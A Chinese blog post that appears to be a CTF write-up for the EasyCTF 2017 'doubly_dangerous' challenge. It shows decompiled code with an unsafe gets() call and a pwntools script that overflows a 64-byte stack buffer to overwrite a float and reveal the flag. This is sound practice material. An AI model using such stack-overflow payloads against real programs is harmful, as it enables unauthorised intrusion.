美文网首页
一_2.EasyCTF_2017-doubly_dangerou

一_2.EasyCTF_2017-doubly_dangerou

作者: Zero_0_0 | 来源:发表于2019-04-22 13:31 被阅读0次
安全防护机制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+Ch] [bp-4Ch]@1
  float v5; // [sp+4Ch] [bp-Ch]@1

  v5 = 0.0;
  puts("Give me a string: ");
  gets(&s);
  if ( 11.28125 == v5 )
  {
    puts("Success! Here is your flag:");
    give_flag();
  }
  else
  {
    puts("nope!");
  }
  return 0;
}
***************************************************************
  int v0; // ST1C_4@1
  int result; // eax@5
  char v2; // [sp+7h] [bp-11h]@4
  FILE *stream; // [sp+8h] [bp-10h]@1

  v0 = getegid();
  setresgid(v0, v0, v0);
  stream = fopen("flag.txt", "r");
  if ( stream )
  {
    while ( 1 )
    {
      v2 = fgetc(stream);
      if ( v2 == -1 )
        break;
      putchar(v2);
    }
    result = fclose(stream);
  }
  else
  {
    result = puts("Failed to open flag file!");
  }
  return result
思路一:

IDA:我们可以一用填充数据将我们的v5填充成为我们比较的数字,填充地址如下

.text:08048634                 call    _gets
.text:08048639                 add     esp, 10h
.text:0804863C                 fld     [ebp+var_C]
.text:0804863F                 fld     ds:flt_804876C   //这是存储我们11.28125
.text:08048645                 fucomip st, st(1)

我们找到他的具体地址,然后进行payload


图片.png
1.EXP
from pwn import*

p = process('./doubly_dangerous')

#give_flag_addr = 0x804857B

payload = 'A'*64
payload += "\x00\x80\x34\x41"
#payload += p32(give_flag_addr)
print p.recv()
p.sendline(payload)
p.interactive()

思路二

我们知道可以劫持EIP跳转到我们想要的地方去,可是没成功,希望大牛能附上exp
自己思考:
注:可能是get函数的原因,没有我们可以ret的地方。所以才必须先绕过比较!

相关文章

  • 一_2.EasyCTF_2017-doubly_dangerou

    安全防护机制 思路一: IDA:我们可以一用填充数据将我们的v5填充成为我们比较的数字,填充地址如下 我们找到他的...

  • 。一一,一,一,一。

    一,、

  • 一 一

    2018年6月22日 星期五 雨 一水一万物 一星一宇宙 一字一文章 一书一世界 一读一微笑 一赞一知音

  • 一 一

    杨德昌《一 一》,早年曾看过一遍。 婷婷短发,白净,蓝色衬衫,学生裙,黑皮鞋,白袜子,学习很好的中学女生。温柔,懂...

  • 一 一

    给自己无处安放的灵魂找到了家!简书,我的新写作时光!继续,在流年里拾荒,禅落一身的光!

  • 一.一

  • 一.一

    一节车厢,一只行囊,肯为当时一念疯狂。 一根点燃,一缕惆怅,不许未来一片迷茫。 一眼远看,一众不详,哪知各位一去何...

  • 一(一)

    我叫一,总有人喜欢在背后说我,因为很多时候我都是自己一个人。很多人都说我很孤单,看起来很可怜,但我觉得很奇怪,他们...

  • (一-一)

    白天不看书晚上开灯照亮全宿舍的sb们该睡了

  • 一梦一寻(一)

    01 你在想什么?宝贝。” 一个磁性而温柔的声音传来。一双温柔的手轻抚我的头,这温暖使我从漫天的思绪中挣脱出来。 ...

网友评论

      本文标题:一_2.EasyCTF_2017-doubly_dangerou

      本文链接:https://www.haomeiwen.com/subject/alxegqtx.html